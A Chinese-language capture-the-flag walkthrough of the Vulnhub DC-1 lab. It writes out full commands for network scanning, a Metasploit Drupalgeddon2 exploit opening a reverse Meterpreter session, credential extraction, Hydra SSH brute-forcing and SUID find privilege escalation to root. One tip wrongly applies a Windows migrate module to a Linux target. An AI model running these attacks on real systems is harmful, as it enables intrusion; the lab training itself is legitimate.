DC-1靶场实战：从环境配置到权限提升的完整渗透路径

1. DC-1靶场环境搭建

第一次接触DC-1靶场时，我花了不少时间在环境配置上。这个靶场是专门为渗透测试初学者设计的，模拟了一个存在多个漏洞的Drupal网站。下面我会详细分享我的搭建经验，帮你避开那些常见的坑。

首先需要准备两个虚拟机：Kali Linux和DC-1靶机。Kali建议使用最新版本，我测试时用的是2023.4版本。DC-1的ova文件在Vulnhub官网可以直接下载，但要注意的是，导入时可能会报错。别慌，这是正常现象，直接点"重试"就能继续。我遇到过三次导入失败的情况，最后发现是VMware版本兼容性问题，更新到最新版就解决了。

网络配置是新手最容易出错的地方。必须确保两台虚拟机在同一网络模式下，我推荐使用NAT模式，这样既不会影响主机网络，又能保证两台机器互通。曾经有个学员因为用了桥接模式，折腾了两天都没找到靶机IP，最后发现是网段配置错误。

2. 信息收集实战技巧

拿到靶机后，第一步就是要找到它的IP地址。这里我推荐三个工具的组合使用：

1. arp-scan：最快速的方法

arp-scan -l --interface=eth0

加上接口参数更准确，特别是当你有多个网卡时。

2. nmap：更全面的扫描

nmap -sn 192.168.1.0/24

-sn参数表示只做主机发现，不扫描端口，速度更快。

3. netdiscover：被动探测工具

netdiscover -i eth0 -r 192.168.1.0/24

找到IP后，就该扫描开放端口了。我习惯用这个命令：

nmap -sV -p- -T4 192.168.1.100

-T4是速度等级，平衡了速度和准确性。扫描结果通常会显示80端口开着，这就是我们的突破口。

3. Drupal漏洞利用详解

通过浏览器访问靶机IP，用Wappalyzer插件可以快速识别出这是Drupal 7的系统。这个版本的Drupal有个著名的漏洞——Drupalgeddon2 (CVE-2018-7600)，我们可以用Metasploit来利用它。

启动msfconsole后，按这个流程操作：

use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.100 set LHOST 192.168.1.50 exploit

成功后会得到一个Meterpreter会话。这里有个小技巧：如果连接不稳定，可以先background当前会话，然后配置自动迁移：

set AutoRunScript post/windows/manage/migrate

4. 数据库渗透与密码破解

拿到shell后，我们发现了flag1的提示，指向了配置文件。Drupal的配置文件通常位于/sites/default/settings.php，里面藏着数据库凭据：

$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', ), ), );

用这些凭据登录MySQL：

mysql -udbuser -pR0ck3t

查看用户表时发现密码是加密的。Drupal用的是SHA-512加盐哈希，我们可以用自带的脚本生成新哈希：

php /var/www/scripts/password-hash.sh 123456

然后更新数据库中的密码：

UPDATE users SET pass='$S$DxVn7Q...' WHERE uid=1;

5. Linux提权终极指南

最后的挑战是提权到root。我们发现了flag4用户，用Hydra爆破密码：

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

成功登录后，检查SUID权限文件：

find / -perm -u=s -type f 2>/dev/null

发现find命令有SUID权限，这是经典的提权路径：

find / -name test -exec "/bin/sh" \;

这个命令会以root权限启动一个shell。我建议立即升级到完全交互式shell：

python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

最后在/root目录找到最终的flag文件。整个过程中最重要的是理解每个步骤的原理，而不仅仅是记住命令。比如SUID提权的本质是继承了文件所有者的权限，这就是为什么find命令能给我们root权限。